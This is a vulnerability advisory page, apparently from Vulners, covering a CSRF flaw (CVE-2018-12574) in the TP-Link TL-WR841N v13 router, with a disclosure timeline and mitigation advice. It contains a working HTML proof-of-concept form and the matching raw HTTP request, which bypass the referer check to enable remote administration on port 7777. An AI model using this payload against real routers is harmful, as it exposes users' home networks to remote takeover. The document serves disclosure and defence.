Vulners
Lucene search
TP-Link TL-WR841N V13 Cross Site Request Forgery
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | TP-Link TL-WR841N V13 Cross Site Request Forgery Vulnerability | 30 Jun 201800:00 | – | zdt |
 | TP-Link TL-WR841N v13 Cross-Site Request Forgery Vulnerability | 29 Jun 201800:00 | – | cnvd |
 | CVE-2018-12574 | 2 Jul 201816:00 | – | cve |
 | CVE-2018-12574 | 2 Jul 201816:00 | – | cvelist |
 | EUVD-2018-4534 | 7 Oct 202500:30 | – | euvd |
 | CVE-2018-12574 | 2 Jul 201816:29 | – | nvd |
 | CVE-2018-12574 | 2 Jul 201816:29 | – | osv |
 | Cross site request forgery (csrf) | 2 Jul 201816:29 | – | prion |
` * Vulnerability: Cross-Site Request Forgery
* Affected Software: TP-Link TL-WR841N v13
* Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
* Patched Version: None
* Risk: High
* Vendor Contacted: 05/20/2018
* Vendor Fix: None
* Public Disclosure: 06/27/2018
##### Overview
The web interface of the router is vulnerable to CSRF. An attacker can
perform arbitrary actions in the name of an authenticated user if that
user visits an attacker-controlled website.
##### CVSS
High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
##### Details
The protection mechanism that is in place against CSRF checks if the
given "referer" header starts with "192.168.0.1". If it does, the
request is accepted.
An attacker can bypass this mechanism by prepending their domain with
this string. For example, the malicious HTML and JavaScript code could
be hosted at "192.168.0.1.example.com". Alternatively, an attack could
originate from a different IP in the internal network, eg "192.168.0.11".
##### Proof of Concept
Enable remote access:
<html>
<body>
<form action="http://192.168.0.1/cgi?2&2" method="POST"
enctype="text/plain">
<input type="hidden"
name="[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
httpRemoteEnabled"
value="1
httpRemotePort=7777
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
remoteHost=255.255.255.255
"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The code would be hosted at a subdomain which starts with "192.168.0.1",
eg "192.168.0.1.example.com".
##### Request
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: [...]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1.example.com/csrf.html
Content-Type: text/plain
Content-Length: 147
Cookie: Authorization=Basic [...]
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
httpRemoteEnabled=1
httpRemotePort=7777
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
remoteHost=255.255.255.255
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 8
[error]0
##### Solution
The vendor did not fix the issue.
Users of the product can try to mitigate the issue by not visiting other
websites while being signed into the web interface and signing out as
soon as possible. Additionally, various browser plugins can be used to
try to defend against attacks.
##### Timeline
- 05/20/2018 Requested email address via contact form (no response)
- 05/24/2018 Send advisory to [email protected] asking for
confirmation, set disclosure date (no response)
- 06/01/2018 Asked for confirmation at [email protected]
- 06/04/2018 Vendor confirmed receipt of advisory
- 06/12/2018 Requested Status Update
- 06/14/2018 Vendor claims they never received advisory
- 06/14/2018 Resend advisory asking for confirmation (no response)
- 06/18/2018 Reminded vendor of disclosure date (no response)
- 06/18/2018 Requested CVE
- 06/19/2018 CVE assigned
- 06/27/2018 Disclosure
--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jun 2018 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.00134